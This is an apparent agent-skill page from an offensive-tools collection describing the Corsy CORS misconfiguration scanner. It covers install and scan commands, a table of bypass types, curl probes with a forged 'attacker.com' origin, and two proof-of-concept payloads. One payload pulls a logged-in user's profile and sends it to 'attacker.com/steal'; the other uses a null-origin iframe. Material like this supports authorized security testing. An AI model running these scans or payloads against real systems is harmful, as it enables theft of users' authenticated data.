offensive-tools/web/corsy/SKILL.md
Auth/lab ref: Corsy CORS policy scanner; origin reflection, null origin, wildcard, regex/prefix edge cases, API evidence.
npx skillsauth add aeondave/malskill corsyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
CORS misconfiguration scanner — 10+ vuln types, lightweight, fast.
git clone https://github.com/s0md3v/Corsy
cd Corsy && pip3 install requests
# Single URL
python3 corsy.py -u https://target.com
# With authentication
python3 corsy.py -u https://api.target.com -H "Authorization: Bearer TOKEN"
# Bulk scan from file
python3 corsy.py -i urls.txt -t 10
# JSON output
python3 corsy.py -u https://target.com --json > cors.json
| Flag | Purpose |
|------|---------|
| -u <url> | Single target URL |
| -i <file> | Input file with one URL per line |
| -H "K: V" | Custom header (auth, cookies) |
| -t <N> | Thread count (default: 2) |
| -d <N> | Delay between requests (ms) |
| -q | Quiet mode (no banner) |
| --json | JSON output |
| Type | Condition | Exploitable |
|------|-----------|-------------|
| Origin Reflection | Server mirrors any Origin header | Critical if +credentials |
| Null Origin | null origin accepted | Critical (iframe sandbox attack) |
| Pre-domain bypass | evil.target.com accepted | High |
| Post-domain bypass | target.com.evil.com accepted | High |
| Underscore bypass | target_evil.com accepted | High |
| Backtick bypass | Origin with backtick accepted | High |
| Unescaped dot | Regex dot not escaped | Medium |
| Wildcard | Access-Control-Allow-Origin: * | Medium (no credentials) |
| Wildcard + credentials | * + credentials: true | Not exploitable (browser blocks) |
| Invalid value | Malformed CORS header | Info |
| Third-party allowed | Unknown domain trusted | High |
| HTTP on HTTPS | HTTP origin trusted | Medium |
Critical = Access-Control-Allow-Origin: <reflected> + Access-Control-Allow-Credentials: true
# Manual test with curl
curl -H "Origin: https://attacker.com" https://api.target.com/profile -Iv 2>&1 | grep -i "access-control"
# Test null origin
curl -H "Origin: null" https://api.target.com/data -Iv 2>&1 | grep -i "access-control"
# Test pre-domain bypass
curl -H "Origin: https://eviltarget.com" https://api.target.com/ -Iv 2>&1 | grep -i "access-control"
# Preflight (OPTIONS) test
curl -X OPTIONS -H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: POST" \
https://api.target.com/data -Iv
Reflected Origin + Credentials (Critical)
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/user/profile', true);
xhr.onload = function() {
fetch('https://attacker.com/steal?d=' + btoa(xhr.responseText));
};
xhr.send();
</script>
Null Origin (via iframe sandbox)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/sensitive', true);
xhr.onload = function() { alert(xhr.responseText); };
xhr.send();
</script>
"></iframe>
# API endpoint scan with session cookie
python3 corsy.py -u https://api.target.com \
-H "Cookie: session=abc123; auth=token"
# Scan API paths list
cat api_endpoints.txt | python3 corsy.py -i /dev/stdin -t 20
# Full recon pipeline
cat domains.txt | httpx -silent | python3 corsy.py -i /dev/stdin --json > cors_results.json
| File | When to load |
|------|--------------|
| references/cors-exploit.md | Full PoC templates, CORS header explanation, pre-flight vs simple requests, impact examples |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.